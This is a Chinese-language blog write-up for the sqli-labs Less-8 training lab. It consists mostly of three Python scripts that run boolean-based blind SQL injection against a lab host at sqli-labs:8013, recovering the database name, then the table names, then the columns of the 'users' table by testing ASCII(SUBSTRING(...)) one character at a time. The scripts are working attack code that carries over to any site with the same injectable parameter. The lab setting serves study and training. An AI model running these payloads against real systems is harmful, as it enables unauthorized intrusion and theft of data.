当前位置: 首页 > article >正文

less-8 boolen盲注,时间盲注 函数补全

获取当前数据库名

import requests
 
 
def inject_database(url):
    name=''
    max_length=20  # 假设数据库名称最大长度为20
    # ASCII范围:数字、字母、下划线(_)
    low={'a': 97, 'z': 122, 'A': 65, 'Z': 90, '0': 48, '9': 57, '_': 95}
    high={97: 'a', 122: 'z', 65: 'A', 90: 'Z', 48: '0', 57: '9', 95: '_'}
 
    for i in range(1, max_length + 1):
        low_val=32  # 起始为空格的ASCII码
        high_val=122  # 到z的ASCII码
 
        # 执行二分查找来找到每个字符
        while low_val < high_val:
            middle_val=(low_val + high_val) // 2
            payload=f"1' AND ASCII(SUBSTRING(DATABASE(),{i},1))>{middle_val}-- "
            params={"id": payload}
            r=requests.get(url, params=params)
 
            # 判断注入是否成功
            if 'You are in' in r.text:
                low_val=middle_val + 1
            else:
                high_val=middle_val
 
        # 获取字符并更新数据库名
        if low_val > 32:  # 跳过空格和其他不可见字符
            char=chr(low_val)
            name+=char
            print(f"Current database name: {name}")
 
        # 重置
        low_val=32
        high_val=122
 
    print(f"Final database name: {name}")
 
 
if __name__ == "__main__":
    url="http://sqli-labs:8013/Less-8/"
    inject_database(url)

获取数据库表

import requests
 
 
def inject_table_names(url, database_name):
    table_names=[]  # 用于存储所有表名
    max_length=20  # 假设每个表名的最大长度为20
 
    # 限制字符范围:数字、字母、下划线
    allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _
 
    # 获取数据库中所有表的个数
    # 查询所有表:我们假设表名的个数不超过100
    num_tables=100
    for table_index in range(num_tables):
        table_name=''
        for i in range(1, max_length + 1):
            low=min(allowed_chars)  # 最小值:'0',ASCII 48
            high=max(allowed_chars)  # 最大值:'z',ASCII 122
            middle=(low + high) // 2
 
            while low < high:
                # 构造布尔盲注的 payload,查询当前表的名字
                payload=f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "
                params={"id": payload}
                r=requests.get(url, params=params)
 
                # 判断注入是否成功,依据靶场的返回信息
                if 'You are in' in r.text:  # 判断返回信息
                    low=middle + 1
                else:
                    high=middle
                middle=(low + high) // 2
 
            # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
            if middle in allowed_chars:  # 确保是有效字符
                table_name+=chr(middle)
 
            # 每次获取一个字符后打印当前的表名
            print(f"Current table name: {table_name}")
 
            # 重置 low 和 high 的值
            low=min(allowed_chars)
            high=max(allowed_chars)
            middle=(low + high) // 2
 
        if table_name:  # 如果当前表名非空,则保存它
            table_names.append(table_name)
 
        # 如果注入出了多个表,可以停止
        if len(table_names) >= 5:  # 假设只注入前五个表名
            break
 
    print(f"Final table names: {table_names}")
 
 
if __name__ == "__main__":
    url="http://sqli-labs:8013/Less-8/"
    database_name="security"  # 目标数据库名称
    inject_table_names(url, database_name)

获取表的列

import requests
 
 
def inject_column_names(url, database_name, table_name):
    column_names=[]  # 用于存储所有列名
    max_length=20  # 假设列名最大长度为20
 
    # 限制字符范围:数字、字母、下划线
    allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _
 
    # 获取表的所有列的个数
    num_columns=100  # 假设该表最多有100列
 
    for column_index in range(num_columns):
        column_name=''
        for i in range(1, max_length + 1):
            low=min(allowed_chars)  # 最小值:'0',ASCII 48
            high=max(allowed_chars)  # 最大值:'z',ASCII 122
            middle=(low + high) // 2
 
            while low < high:
                # 构造布尔盲注的 payload,查询当前列的名字
                payload=f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "
                params={"id": payload}
                r=requests.get(url, params=params)
 
                # 判断注入是否成功,依据靶场的返回信息
                if 'You are in' in r.text:  # 判断返回信息
                    low=middle + 1
                else:
                    high=middle
                middle=(low + high) // 2
 
            # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
            if middle in allowed_chars:  # 确保是有效字符
                column_name+=chr(middle)
 
            # 每次获取一个字符后打印当前的列名
            print(f"Current column name: {column_name}")
 
            # 重置 low 和 high 的值
            low=min(allowed_chars)
            high=max(allowed_chars)
            middle=(low + high) // 2
 
        # 检查是否是有效的列名
        if column_name and not column_name.startswith("0"):  # 去掉以 "0" 开头的无效列名
            column_names.append(column_name)
 
        # 如果注入出了多个列,可以停止
        if len(column_names) >= 5:  # 假设只注入前五个列名
            break
 
    # 输出最终的列名
    print(f"Final column names: {column_names}")
 
 
if __name__ == "__main__":
    url="http://sqli-labs:8013/Less-8/"
    database_name="security"  # 目标数据库名称
    table_name="users"  # 目标表名
    inject_column_names(url, database_name, table_name)

http://www.kler.cn/a/550905.html

相关文章:

  • 【Linux】Linux 文件系统——剖析文件权限概念,文件类型和inode号
  • VIM操作命令-全选复制删除
  • 【再读】2501.12948/DeepSeek-R1通过强化学习提升大型语言模型(LLMs)的推理能力
  • ceph部署-14版本(nautilus)-使用ceph-ansible部署实验记录
  • Linux中线程创建,线程退出,线程接合
  • 假面与演员:到底是接口在使用类,还是类在使用接口?编程接口与物理接口的区别又是什么?
  • Office-Tab-for-Mac Office 窗口标签化,Office 多文件标签化管理
  • java练习(28)
  • 【C++初阶】类和对象①
  • Maven 中的 Artifact 与 GroupId:定义与使用
  • Java并发编程——AQS原理解析
  • 【ISO 14229-1:2023 UDS诊断(会话控制0x10服务)测试用例CAPL代码全解析⑩】
  • NetCDF数据处理
  • Linux高并发服务器开发 第十八天(信号及相关概念 信号捕捉)
  • 三、tsp学习笔记——屏幕移植
  • 嵌入式 Linux 设备树:为什么需要设备树?
  • Intel i7系列CPU替换为Xeon X79或X99架构的CPU替代方案和对比分析
  • jenkins 2.380配置从节点
  • DC-7靶机渗透测试全过程
  • BUU38 [RoarCTF 2019]Easy Java1